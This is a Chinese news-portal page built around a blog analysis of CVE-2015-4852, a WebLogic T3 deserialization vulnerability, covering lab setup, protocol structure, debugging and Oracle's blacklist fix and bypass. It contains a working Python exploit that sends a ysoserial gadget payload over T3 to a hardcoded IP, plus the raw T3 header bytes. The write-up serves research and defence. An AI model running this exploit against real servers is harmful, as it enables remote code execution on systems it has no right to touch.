最新要闻
- 全球实时:新能源车爆发 锂矿价格翻10倍 宁德宜春等多城提出打造“锂都”
- 资讯:降多少你会买?消息称RTX 4080要降价几千 首发用户将受伤 会有赔偿吗?
- 走后门上班?马斯克两位堂兄弟入职推特 成全职员工
- 天天热点!一张照片立即变视频主角 “AI换脸”惹上事 女子获赔5000元
- 东北零下20度 男子雪碧放车里一晚被冻炸:按键都不好使了
- 环球视点!厉害!韩国所有人将至少年轻1-2岁:网友看完方法直呼意外
- 天天微资讯!30年老司机成功预判避免车祸 当事人:本能反应 预感到它们刹不住
- 每日看点!日本最好大学东京大学2022年校花冠军出炉引网友热议 甜美可爱的学霸妹子
- 每日简讯:第一次看到水冷的RX 7900 XTX:漂亮得不像话
- 环球微头条丨新一代显卡危机 《传送门》光追性能实测:卡成1帧PPT、RTX 4090惨败
- 全球首款第二代骁龙8+2K直屏旗舰!iQOO 11今天发
- 一到冬天就黑屏!但是 大众好像根本就不打算管
- 天天微资讯!Arc显卡也能战未来 Intel新驱动实测:性能提升真打鸡血
- 大中华区立功 消息称马斯克将任命朱晓彤特斯拉全球CEO
- 热推荐:电动车生产基地杀到欧洲?比亚迪最新回应来了
- 天天日报丨无2D版!《阿凡达2》预售开启:平均票价68元 首映口碑好评爆棚
手机
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
票房这么火爆,如何请视障人士“看”一场电影?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
- 票房这么火爆,如何请视障人士“看”一场电影?
家电
世界热门:CVE-2015-4852 Weblogic T3 反序列化分析
0x01 前言
看到很多师傅的面经里面都有提到 Weblogic 这一个漏洞,最近正好有一些闲暇时间,可以看一看。
(资料图)
因为环境上总是有一些小问题,所以会在本地和云服务器切换着调试。
0x02 环境搭建
太坑了,我的建议是用本地搭建的方法,因为用 docker 搭建,会产生依赖包缺失的问题,本地搭建指南https://www.penson.top/article/av40
这里环境安装用的是 奇安信 A-team 大哥提供的脚本,不得不说实在是太方便了!省去了很多环境搭建中不必要的麻烦
链接:https://github.com/QAX-A-Team/WeblogicEnvironment
下载对应版本的 JDK 和 Weblogic 然后分别放在 jdks 和 weblogics 中
JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html
Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html
我这里直接用的 kali 搭建,需要先把 jdk 和 weblogic 放到文件夹里面,如图
首先要先改写一下 Dockerfile,原作者写的 Dockerfile 有一点小问题
# 基础镜像FROM centos:centos7# 参数ARG JDK_PKGARG WEBLOGIC_JAR# 解决libnsl包丢失的问题# RUN yum -y install libnsl# 创建用户RUN groupadd -g 1000 oinstall && useradd -u 1100 -g oinstall oracle# 创建需要的文件夹和环境变量RUN mkdir -p /install && mkdir -p /scriptsENV JDK_PKG=$JDK_PKGENV WEBLOGIC_JAR=$WEBLOGIC_JAR# 复制脚本COPY scripts/jdk_install.sh /scripts/jdk_install.sh COPY scripts/jdk_bin_install.sh /scripts/jdk_bin_install.sh COPY scripts/weblogic_install11g.sh /scripts/weblogic_install11g.shCOPY scripts/weblogic_install12c.sh /scripts/weblogic_install12c.shCOPY scripts/create_domain11g.sh /scripts/create_domain11g.shCOPY scripts/create_domain12c.sh /scripts/create_domain12c.shCOPY scripts/open_debug_mode.sh /scripts/open_debug_mode.shCOPY jdks/$JDK_PKG .COPY weblogics/$WEBLOGIC_JAR .# 判断jdk是包(bin/tar.gz)weblogic包(11g/12c)载入对应脚本RUN if [ $JDK_PKG == *.bin ] ; then echo ****载入JDK bin安装脚本**** && cp /scripts/jdk_bin_install.sh /scripts/jdk_install.sh ; else echo ****载入JDK tar.gz安装脚本**** ; fiRUN if [ $WEBLOGIC_JAR == *1036* ] ; then echo ****载入11g安装脚本**** && cp /scripts/weblogic_install11g.sh /scripts/weblogic_install.sh && cp /scripts/create_domain11g.sh /scripts/create_domain.sh ; else echo ****载入12c安装脚本**** && cp /scripts/weblogic_install12c.sh /scripts/weblogic_install.sh && cp /scripts/create_domain12c.sh /scripts/create_domain.sh ; fi# 脚本设置权限及运行RUN chmod +x /scripts/jdk_install.shRUN chmod +x /scripts/weblogic_install.shRUN chmod +x /scripts/create_domain.shRUN chmod +x /scripts/open_debug_mode.sh# 安装JDKRUN /scripts/jdk_install.sh# 安装weblogicRUN /scripts/weblogic_install.sh# 创建Weblogic DomainRUN /scripts/create_domain.sh# 打开Debug模式RUN /scripts/open_debug_mode.sh# 启动 Weblogic Server# CMD ["tail","-f","/dev/null"]CMD ["/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh"]EXPOSE 7001
接着起环境
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
再把 docker 当中的一些依赖文件夹拷出来,但是这一步经过我测试,感觉 docker 当中的 lib 存在一定问题,所以后续把 weblogic 的库拿进来就可以了,对应的代码我会放在 GitHub 上,避免师傅们踩坑。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)
0x03 基础知识
关于 Weblogic
首先说一说 Weblogic 吧,Weblogic 就和 Tomcat 差不多,从功能上来说就是两个 Web 服务端,也是启动器。
和 Tomcat 不同的地方在于,Weblogic 可以自己部署很多东西,要知道,在 Tomcat 当中,这些都是需要自己写代码的。
T3 协议
T3 协议其实是 Weblogic 内独有的一个协议,在 Weblogic 中对 RMI 传输就是使用的 T3 协议。在 RMI 传输当中,被传输的是一串序列化的数据,在这串数据被接收后,执行反序列化的操作。
在 T3 的这个协议里面包含请求包头和请求的主体这两部分内容。
我们可以拿 CVE-2015-4852 的 EXP 来讲解
EXP 如下
import socketimport sysimport structimport reimport subprocessimport binasciidef get_payload1(gadget, command): JAR_FILE = ".\ysoserial.jar" popen = subprocess.Popen(["java", "-jar", JAR_FILE, gadget, command], stdout=subprocess.PIPE) return popen.stdout.read()def get_payload2(path): with open(path, "rb") as f: return f.read()def exp(host, port, payload): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode() sock.sendall(handshake) data = sock.recv(1024) pattern = re.compile(r"HELO:(.*).false") version = re.findall(pattern, data.decode()) if len(version) == 0: print("Not Weblogic") return print("Weblogic {}".format(version[0])) data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新 t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头 flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志 payload = data_len + t3header + flag + payload payload = struct.pack(">I", len(payload)) + payload[4:] #重新计算数据包长度 sock.send(payload)if __name__ == "__main__": host = "81.68.120.14" port = 7001 gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21 command = "Calc" payload = get_payload1(gadget, command) exp(host, port, payload)
这里有一个小坑,我直接运行 py 程序是不行的,会回显 Not Weblogic,因为 python socket 如果是频繁发包,会被服务端所拒绝,所以需要以 debug 模式运行。当然如果增添 sleep 应该也是可以实现的。
Weblogic 请求包头
我们需要通过 Wireshark 对这一个流量包执行抓包操作,后续抓到包的请求头如图
这一个就是它请求包的头
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
在发送该请求包头后,服务端 Weblogic 会有一个响应,内容如下
HELO:10.3.6.0.falseAS:2048HL:19
HELO 后面的内容则是被攻击方的 Weblogic 版本号,也就是说,在发送正确的请求包头后,服务端会进行一个返回 Weblogic 的版本号。
Weblogic 请求主体
请求主体,也就是发送的数据,这些数据分为七部分内容,此处借用 z_zz_zzz师傅的修复weblogic的JAVA反序列化漏洞的多种方法文章中的一张图
第一个非 Java 序列化数据,也就是我们的请求头:t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
后面第 n 部分的数据,其实是不限制的,也就是说,我可以只有一部分的 Java 序列化数据,也可以有七部分的 Java 序列化数据,这并不重要,我们可以看观察一下 Wireshark 抓的包
在ac ed 00 05
之后的内容便是序列化的数据,所以如果我们要进行攻击,应该是对于这一串序列化的数据进行恶意构造,让服务端在反序列化的时候发起攻击。
而此处,如果有多个 Java 序列化的数据,可以对任一一个数据进行攻击即可。
0x04 漏洞分析与调试
寻找尾部漏洞点
毕竟是反序列化的漏洞,思考了一下从两个点入手。
1、是否存在 Jndi 注入2、是否有能够命令执行的利用点
Jndi 注入的链尾探索
怀着这样的思路,先全局搜索Jndi
关键词,感觉我这样的做法应该很不精准,但是暂时找不到其他好的方法,应该是要借助一些插件或者工具什么的了。
这里有一个JndiServiceImpl
类,看着不错,点进去看看,它的invoke()
方法同样吸引人,点过去之后发现疑似存在 jndi 注入
不过这里虽然参数 ————this.implJndiName
是可控的,但是无法进行攻击,因为只能对java:comp/env/
进行探测,无法对rmi, jndi, ldap
三者进行有效的调用,初步告吹了。
重新换一个类,这里我找到的是JndiAttrs
类,在它的构造函数中存在调用 ldap 的现象,在第 40 行
从第六个字符开始截取,存在一些绕过手法,这个并不要紧,而providerURL
最后会被 put 进env
当中,env 是一个 Properties 类
继续往下分析,env 作为InitialDirContext
类的构造函数的传参。
一路跟进,是到了InitialContext
的构造函数,跟进init()
方法
跟进getDefaultInitCtx()
方法,再跟进NamingManager.getInitialContext(myProps)
,发现只是 loadClass 了一个对象,寄,白给。
诸如此类链尾的尝试还有很多,师傅们可以自行尝试,我这只是在抛砖引玉。由于篇幅限制,后续内容我们还是集中于 Weblogic CVE-2015-4852 的漏洞分析。
漏洞分析
通过命令ls -r ./* | grep -i commons
,抑或是通过 maven dependency analyze,都可以分析得到 weblogic 10.3.6 的包里面包含有 Commons Collections 3.2.0 的包。
所以我们现在已经有了链尾,需要寻找一个合适的入口类,这里就直接借用其他师傅们的研究成果了,反序列化的入口类是在InboundMsgAbbrev#readObject
处,下个断点开始调试。
Weblogic T3 对于 RMI 传递过来的数据在处理上还是比较绕的,不过有了前面 z_zz_zzz 师傅文章中的那张图,在理解上能够变得简单得多。
开始调试
先跟进ServerChannelInputStream
的构造函数,ServerChannelInputStream
这个类的作用是处理服务端收到的请求头信息
继续跟进getServerChannel()
方法
我们可以关注一下目前的this.connection
是什么
connection
是weblogic.rjvm.t3.MuxableSocketT3$T3MsgAbbrevJVMConnection@49be5302
这个类,在this.connection
中主要存储了一些 RMI 连接的数据,包括端口地址等
跟进getChannel()
方法,开始处理 T3 协议
T3 头处理结束,重新回到InboundMsgAbbrev#readObject
处,跟进readObject()
方法
一路跟进至InboundMsgAbbrev#resolveClass()
中,这里的调用栈如下
resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm)readNonProxyDesc:1610, ObjectInputStream (java.io)readClassDesc:1515, ObjectInputStream (java.io)readOrdinaryObject:1769, ObjectInputStream (java.io)readObject0:1348, ObjectInputStream (java.io)readObject:370, ObjectInputStream (java.io)readObject:66, InboundMsgAbbrev (weblogic.rjvm)read:38, InboundMsgAbbrev (weblogic.rjvm)
resolveClass()
方法是用来处理类的,这些类在经过反序列化之后会走到resolveClass()
方法这里,此时的 var1,正是我们的AnnotationInvocationHandler
类
这时候的AnnotationInvocationHandler
类并不会被直接拿去反序列化,因为 Weblogic 服务端需要先加载所有反序列化的内容。在将所有数据反序列化解析完毕之后(也可以说只是做了Class.forName()
的操作之后),才会开始进行真正的反序列化
后续就是熟悉的 CC1 链环节,这里不再展开
PoC 理解
PoC 本质就是把 ysoserial 生成的 payload 变成 T3 协议里的数据格式,我们需要写入的有几段东西。
1、Header,这代表了数据包长度2、T3 Header3、反序列化标志,也就是fe 01 00 00
所以这三段话是这么来的
header = binascii.a2b_hex(b"00000000")t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")desflag = binascii.a2b_hex(b"fe010000")
0x05 漏洞修复
在 resolveClass 处打补丁
在前面分析的过程中,我们能够看出来,加载类其实是通过调用resolveClass()
方法,再通过反射获取到任意类的,所以官方选择了基于resolveClass()
去做黑名单校验。
如果在resolveClass()
处加入一个过滤,在readNonProxyDesc
调用完resolveClass
方法后,后面的反序列化操作无法完成。
通过 Web 代理与 nginx 等负载均衡防御
Web 代理的方式只能转发 HTTP 的请求,而不会转发 T3 协议的请求,这就能防御住 T3 漏洞的攻击。当然这对于业务上有很大的影响。同理负载均衡也是,不过负载均衡需要自己手动设置。
黑名单 bypass
Oracle 官方对于 CVE-2015-4852 的修复是通过黑名单限制的。
黑名单中的类不会被反序列化
绕过思路如下
其实就是由ServerChannelInputStream
换到了自身的ReadExternal#InputStream
,这一个 bypass 也被收录为 CVE-2016-0638;后续会对这一个漏洞进行分析。
0x06 小结
从原理角度上来说还是比较简单的,不过理解 T3 的传输,并且构造恶意 PoC 的过程是非常值得学习的,CVE-2015-4852 为一些类似的攻击提供了思路。
更多靶场实验练习、网安学习资料,请点击这里>>
世界热门:CVE-2015-4852 Weblogic T3 反序列化分析
全球实时:新能源车爆发 锂矿价格翻10倍 宁德宜春等多城提出打造“锂都”
资讯:降多少你会买?消息称RTX 4080要降价几千 首发用户将受伤 会有赔偿吗?
走后门上班?马斯克两位堂兄弟入职推特 成全职员工
天天热点!一张照片立即变视频主角 “AI换脸”惹上事 女子获赔5000元
东北零下20度 男子雪碧放车里一晚被冻炸:按键都不好使了
环球视点!厉害!韩国所有人将至少年轻1-2岁:网友看完方法直呼意外
天天微资讯!30年老司机成功预判避免车祸 当事人:本能反应 预感到它们刹不住
每日看点!日本最好大学东京大学2022年校花冠军出炉引网友热议 甜美可爱的学霸妹子
视讯!OpenGL 透明度
大数据量、高并发业务怎么优化?(一)
每日简讯:第一次看到水冷的RX 7900 XTX:漂亮得不像话
环球微头条丨新一代显卡危机 《传送门》光追性能实测:卡成1帧PPT、RTX 4090惨败
全球首款第二代骁龙8+2K直屏旗舰!iQOO 11今天发
一到冬天就黑屏!但是 大众好像根本就不打算管
天天快资讯:python中的函数进阶
实时焦点:C++入门级基础知识汇总
天天微资讯!Arc显卡也能战未来 Intel新驱动实测:性能提升真打鸡血
大中华区立功 消息称马斯克将任命朱晓彤特斯拉全球CEO
当前最新:JavaWeb三大组件(Servlet、Filter、Listener)
世界报道:蓝牙协议(HFP、HSP、A2DP、AVRCP)简介
大前端html基础学习04--文本溢出
热推荐:电动车生产基地杀到欧洲?比亚迪最新回应来了
天天日报丨无2D版!《阿凡达2》预售开启:平均票价68元 首映口碑好评爆棚
【世界新要闻】备受年轻人追捧的“网红餐厅”有多坑?不服不行
环球即时:Springboot处理跨域请求
shell编程时出现:未预期的符号 `then' 附近有语法错误 或者 : 行 : `then'
世界最新:CSS Margin中5个经典布局解决方案,重难点知识,记得收藏复习
快播:实火!《阿凡达2:水之道》预售首日总票房突破千万
小米13系列发布会时间偷跑 最新售价信息曝光:3999/4999元起售
天天头条:中国石化又一次产出99.999%高纯度氢:每年2100吨
即时看!12306购票页面变了:已取消查验核酸弹窗
天天观热点:双11期间快递达42.7亿件 你的收到了吗?
【快播报】员工爆料奶茶店用过期原料 老板:事儿太多
【全球热闻】刘海屏iPhone用上灵动岛:越狱软件开发者推出“灵动刘海”
路怒可怕!出租车插队未果隧道逼停保时捷 还质问开豪车了不起:罚600扣1分
节省1000元成本 特斯拉减配辅助停车的超声波雷达:把新车主们坑惨了
暴雪《魔兽世界》停服或致大量游戏工作室倒闭:代打行业寒冬
加绒款同价:361° 纯色卫衣/运动裤69元大促(40元券)
Intel晒新显卡驱动表现:DX9游戏性能提升达80%
每日快播:一键部署应用到远程服务器,IDEA 官方 Docker 插件太顶了!
Vue视频 | 【Vue2 + Vue3 前端教程】完整版
今日关注:记录--微信小程序获取用户信息的最新方法记录
当前短讯!12 虚拟机字节码执行引擎_字节码执行机制
CompletableFuture源码解析
全球限量5000台!ThinkPad X1 Carbon 30周年纪念版即将上市
最新资讯:老马也失蹄 吞剑大师嘴插5把剑出意外被刺穿内脏:宣布收山
NASA毅力号火星车和国际空间站上的SSD:出自群联之手
网友不知情下话费暴涨2倍至99元 客服:一般会提前通知
每日快讯!Redis配置、优化及相关命令
《阿凡达》为何时隔13年推出续作?卡梅隆回应:光剧本就写了4版
全球时讯:纯电越野车真香!奇瑞也来参一脚:邀网友共创、最多奖励5万
每日视讯:一天1500元 索赔77万元代步车费用!博主曝特斯拉“精彩”上诉状
黄牛栽了!急于出手RTX 4080
两轮电动车在印度卷起来了:5年/6万公里质保、1年免费充电
Power BI 15 DAY
【高精密时钟】NTP网络校时服务器在WIN平台下调试步骤
微头条丨Chatgpt注册全流程教程
KMP算法详解-字符串匹配
焦点信息:精美的web前端源码的特效
天天短讯!女子连续服用6片感冒药致肝衰竭 专家提醒:药不能随便吃
男子被狗舔伤口发视频炫耀狗子贴心:听网友劝后打狂犬疫苗
全球播报:乐视诉清华大学获赔:内网提供电影下载 7年前就关停了
国服腾讯、网易等谁来代理?暴雪《暗黑4》发售时间曝光:容量80GB
环球动态:男子醉驾撞树想溜 爱车自动报警 并发送了定位
全球热点!JS设计模式 之 发布-订阅模式
最近沉迷Redis网络模型,无法自拔!终于知道Redis为啥这么快了
热点聚焦:行为管理(锐捷行业网关篇)
全球时讯:文盘Rust -- r2d2 实现redis连接池
前端精准测试实践
世界速递!JavaScript中 FileReader 对象详解
【世界报资讯】大数据-数据仓库-实时数仓架构分析
热头条丨JAVA8 函数式编程(1)- Lambda表达式
易基因|m6A去甲基化酶ALKBH5通过降低PHF20 mRNA甲基化抑制结直肠癌进展 | 肿瘤研究
焦点日报:火山引擎 DataTester:如何用 A/B 测试做产品增长?
WTM+InfluxDB时序数据库数据查询并放到DataTable中
中科慧政 & JNPF :全面开启智慧政务,灵活满足政务办公需求
【焦点热闻】南墙WAF-最好的免费Web应用防火墙
天天关注:高光时刻 | 方正璞华联合开发的「人力资源法律服务共享平台」在创新创业大赛中获奖
全球新消息丨95年属猪的2019年运势
【环球热闻】绳责的意思(绳责)
天天动态:水滴筹标题范文(水滴筹标题怎么写)
今头条!应用昆虫学(应用昆虫学报)
环球头条:工厂找哪个网站?
焦点信息:促排卵期间注意哪些事项(促排卵期间注意事项)
天天资讯:越南旅游签证办理流程及费用(越南旅游签证办理流程)
全球快报:空鼻症是什么样(空鼻症是什么病)
【天天新视野】电脑桌面怎么恢复到原来的样子(电脑桌面怎么恢复到原来的样子)
每日信息:闲鱼卖二手
微资讯!西藏万隆虫草鹿鞭王
环球观焦点:77电玩城(77dizhi)
热头条丨低温性能革命性进步!宁德时代:钠电池有望装车500公里续航车型
当前播报:非典是哪一年一共死多少人(非典是哪一年)
天天热讯:空调显示屏上显示df是什么意思(空调运行中显示屏出现字母df是什么意思)
全球报道:我国现存新能源汽车相关企业56.8万家,仅2021年新增17万家
全球要闻:日本电子巨头罗姆将量产下一代半导体:提高用电效率、增加电动车续航里程
环球今日报丨传感器和处理器如何打造更智能、更自主的机器人?
世界即时:如何实现工业自动化?传感器对于工业自动化有什么样的意义
天天新动态:工业自动化如何实现?
当前焦点!使用cpolar(内网穿透)最低成本搭建网站